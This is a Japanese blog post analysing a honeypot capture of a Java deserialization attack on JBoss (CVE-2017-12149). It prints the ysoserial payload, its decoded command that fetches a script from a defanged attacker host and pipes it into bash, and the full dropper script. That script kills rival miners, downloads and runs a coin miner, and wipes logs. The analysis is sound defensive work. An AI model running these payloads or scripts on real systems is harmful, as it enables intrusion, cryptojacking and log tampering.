こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Javaの安全でないデシリアライゼーションを狙った攻撃を観察する

私が運用しているハニーポットで「安全でないデシリアライゼーション (Insecure Deserialization)」を狙った攻撃を確認しました。

「安全でないデシリアライゼーション」はCTFでは頻繁に出題されますが、ハニーポットで観測するのは比較的珍しく、それもPHPではなくJavaシリアライズオブジェクトを使用した攻撃は更に珍しいため、ここで紹介します。

安全でないデシリアライゼーション(Insecure Deserialization)とは

2017年版のOWASP Top10にもランクインしているWebアプリケーションのリスクです。
詳しい説明は以下の資料、サイトを参照ください。

OWASP Top 10 - 2017 A8:2017-安全でないデシリアライゼーション

blog.tokumaru.org

www.slideshare.net

攻撃データ

今回攻撃を受けたリクエストURLは/invoker/readonlyです。HTTPメソッドはPOSTです。
検索すると、どうやらJava EEアプリケーションサーバJBoss脆弱性であるCVE-2017-12149を狙った攻撃と推測できます。

vulhub/jboss/CVE-2017-12149 at master · vulhub/vulhub · GitHub

CVE-2017-12149 Exploited in Wild | Praveen's Blogspot

リクエストボディを見てみます。

¬í..sr..javax.management.BadAttributeValueExpExceptionÔçÚ«c-F@...L..valt..Ljava/lang/Object;xr..java.lang.ExceptionÐý.>.;.Ä...xr..java.lang.ThrowableÕÆ5'9w¸Ë...L..causet..Ljava/lang/Throwable;L.
detailMessaget..Ljava/lang/String;[.
stackTracet..[Ljava/lang/StackTraceElement;L..suppressedExceptionst..Ljava/util/List;xpq.~..pur..[Ljava.lang.StackTraceElement;.F*<<ý"9...xp....sr..java.lang.StackTraceElementa Å.&6Ý....I.
lineNumberL..declaringClassq.~..L..fileNameq.~..L.
methodNameq.~..xp...St.&ysoserial.payloads.CommonsCollections5t..CommonsCollections5.javat. getObjectsq.~.....5q.~.
q.~..q.~..sq.~....."t..ysoserial.GeneratePayloadt..GeneratePayload.javat..mainsr.&java.util.Collections$UnmodifiableListü.%1µì.....L..listq.~..xr.,java.util.Collections$UnmodifiableCollection.B..Ë^÷....L..ct..Ljava/util/Collection;xpsr..java.util.ArrayListx.Ò..Ça....I..sizexp....w.....xq.~..xsr.4org.apache.commons.collections.keyvalue.TiedMapEntry..Ò.9Á.Û...L..keyq.~..L..mapt..Ljava/util/Map;xpt..foosr.*org.apache.commons.collections.map.LazyMapnå...y.....L..factoryt.,Lorg/apache/commons/collections/Transformer;xpsr.:org.apache.commons.collections.functors.ChainedTransformer0Ç.ì(z.....[.
iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;½V*ñØ4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A.±....L.   iConstantq.~..xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer.èÿk{|Î8...[..iArgst..[Ljava/lang/Object;L..iMethodNameq.~..[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;.ÎX..s)l...xp....t.
getRuntimeur..[Ljava.lang.Class;«.×®ËÍZ....xp....t.    getMethoduq.~.2....vr..java.lang.String ð¤8z;³B...xpvq.~.2sq.~.+uq.~./....puq.~./....t..invokeuq.~.2....vr..java.lang.Object...........xpvq.~./sq.~.+ur..[Ljava.lang.String;.ÒVçé.{G...xp....t..bash -c {echo,KGN1cmwgLWZzU0wgaHR0cDovL3l4YXJzaC5zaG9wLzMuanBnfHx3Z2V0IC1xIC1PLSBodHRwOi8veXhhcnNoLnNob3AvMy5qcGcpfGJhc2ggLXNo}|{base64,-d}|{bash,-i}t..execuq.~.2....q.~.7sq.~.'sr..java.lang.Integer.â ¤÷..8...I..valuexr..java.lang.Number.¬....à....xp....sr..java.util.HashMap..ÚÁÃ.`Ñ...F.
loadFactorI.    thresholdxp?@......w.........xx

バイナリデータですが、Printableの部分を観察すると興味深い文字列が見られます。以下に抜粋します。

ysoserial.payloads.CommonsCollections5
bash -c {echo,KGN1cmwgLWZzU0wgaHR0cDovL3l4YXJzaC5zaG9wLzMuanBnfHx3Z2V0IC1xIC1PLSBodHRwOi8veXhhcnNoLnNob3AvMy5qcGcpfGJhc2ggLXNo}|{base64,-d}|{bash,-i}

それぞれ見ていきます。

ysoserialとは

ysoserialとは、安全でないデシリアライゼーションを悪用し任意のコードを実行するための、Javaシリアライズオブジェクトを生成するツールです。
github.com

CommonsCollections5クラスのソースは以下にあります。
ysoserial/CommonsCollections5.java at master · frohoff/ysoserial · GitHub

CommonsCollections5クラスは、Runtimeクラスのexecメソッドを使用して任意のOSコマンドを実行するための、シリアライズオブジェクトを生成できるようです。

なお、ysoserialは当ブログでも過去のCTFのWriteupに登場しています。
graneed.hatenablog.com

何が実行されるのか

ysoserialのCommonsCollections5で生成したシリアライズオブジェクトで実行されるのは以下のコマンドです。

bash -c {echo,KGN1cmwgLWZzU0wgaHR0cDovL3l4YXJzaC5zaG9wLzMuanBnfHx3Z2V0IC1xIC1PLSBodHRwOi8veXhhcnNoLnNob3AvMy5qcGcpfGJhc2ggLXNo}|{base64,-d}|{bash,-i}

BASE64デコードします。

(curl -fsSL hxxp://yxarsh[dot]shop/3.jpg||wget -q -O- hxxp://yxarsh[dot]shop/3.jpg)|bash -sh

curlまたはwgetを使用して3.jpgを取得してbashに流し込むコードです。
拡張子はjpgですが画像ではなくシェルスクリプトなのでしょう。
実際に3.jpgをダウンロードしてみます。

# curl hxxp://yxarsh[dot]shop/3.jpg
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f kworkerds
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
pkill -f Xbash
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "watchbog" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill
ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :56415 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}

function d() {
chattr -i /tmp/r1x
(curl -fsSL --connect-timeout 120 hxxp://yxarsh[dot]shop/364 -o /tmp/r1x||wget hxxp://yxarsh[dot]shop/364 -O /tmp/r1x)
chmod +x /tmp/r1x
/tmp/r1x
}


b
d
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

大きく分けて以下の3つの処理を実行することがわかります。

  1. function b:ファイル、プロセスのkill
  2. function d:実行ファイルのダウンロードおよび実行
  3. ログの削除

function bでは、様々なファイルの削除、プロセス名指定によるkill、特定ポートの通信をしているプロセスのkillを行っています。 名前をキーにいくつか調べてみると別のマルウェアやコインマイナーのようです。2019年1月のJSAC(Japan Security Analyst Conference)でLACの西部氏が発表されていた内容と合致します。

公開サーバを狙った仮想通貨の採掘を強要する攻撃について
攻撃者同士でサーバリソースの取り合いに必死なようです。

次にfunction dでは実行ファイルのダウンロードおよび実行をしています。また、地味にchattr -iでファイル削除を抑止しているのがいやらしいです。別の攻撃者にファイルを消されないように抵抗しているのでしょう。
攻撃者同士でサーバリソースの取り合いに必死なようです。(2回目)

なお、ダウンロードされる実行ファイルをVirusTotalで検索すると、コインマイナーと判定されます。 https://www.virustotal.com/ja/file/13f85ac5f79e0a054af431aef59de92b6a7793cbf2e28d491d1bf6c873441b73/analysis/

ハニーポット5大厄災の1つですね。

まとめ

ysoserialを使用した「安全でないデシリアライゼーション (Insecure Deserialization)」を狙った攻撃を観察しました。 ysoserialはこれまでCTFでしか見たことが無かったですが、攻撃者にも活用されていることを肌で感じました。
(ysoserialのREADME.mdにはこう書いてあるんですけどね・・・。)

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

また、最終的にはコインマイナーの実行が狙いとわかり、それ自体は珍しい話ではありませんでしたが、攻撃者同士でサーバリソースを奪い合う具体的な方法を観察できた点は興味深い結果でした。

おまけ

hxxp://yxarsh[dot]shop/364以外にも、数字のファイル名がありそうです。

# for i in $(seq 0 1000); do wget hxxp://yxarsh[dot]shop/$i; done
(snip)

# ll
total 5412
drwxr-xr-x 2 root root    4096 Apr  6 02:10 ./
drwx------ 5 root root    4096 Apr  6 02:10 ../
-rw-r--r-- 1 root root      87 Feb 18 16:00 1
-rw-r--r-- 1 root root    9498 Feb  5 11:51 162
-rw-r--r-- 1 root root  212784 Mar  8 13:51 163
-rw-r--r-- 1 root root  824072 Feb  7 12:42 164
-rw-r--r-- 1 root root  212784 Mar  8 13:51 263
-rw-r--r-- 1 root root  871268 Mar 10 21:39 264
-rw-r--r-- 1 root root 1916044 Mar 30 22:43 265
-rw-r--r-- 1 root root  871268 Mar 10 21:39 364
-rw-r--r-- 1 root root      33 Mar 10 21:40 5
-rw-r--r-- 1 root root  594788 Jan 16 17:31 64

# file *
1:   ASCII text
162: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a1b7f5d78f28b3d80c801f134bfe1d0ce14c8568, not stripped
163: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
164: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
263: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
264: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
265: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
364: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
5:   ASCII text
64:  ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

# sha256sum *
3e29ca6ac7e2e02ac16dfda6d58cd873ca1c4890a23c517e81ae873f8ac6ab7b  1
b932de91eab340949f77863accd613ef02b4cb66b515812897a05732fe39e173  162
d9f2a7aab005a6e80060a67743aa8b63a87bb1556e5709bc1459681df7d3d1ad  163
99eac07c8692dc9c8292a2dcbe36250f0c9d1539a067cacb0da166baa04fdd17  164
d9f2a7aab005a6e80060a67743aa8b63a87bb1556e5709bc1459681df7d3d1ad  263
13f85ac5f79e0a054af431aef59de92b6a7793cbf2e28d491d1bf6c873441b73  264
ca58b977f0562f6a689db3334e55f517d7f7960d8349844b6635b4d5ff4771d4  265
13f85ac5f79e0a054af431aef59de92b6a7793cbf2e28d491d1bf6c873441b73  364
3d411b60d1aa435011c05925e748ed78a7dc201a72ecb6ac6aca0bc169429763  5
d9390bbbc6e399a388ac6ed601db4406eeb708f3893a40f88346ee002398955c  64

実行ファイルをVirusTotalで調べてみましたが、全てマリシャス判定されると思ったら、そうでもなかったです。
なんだろう。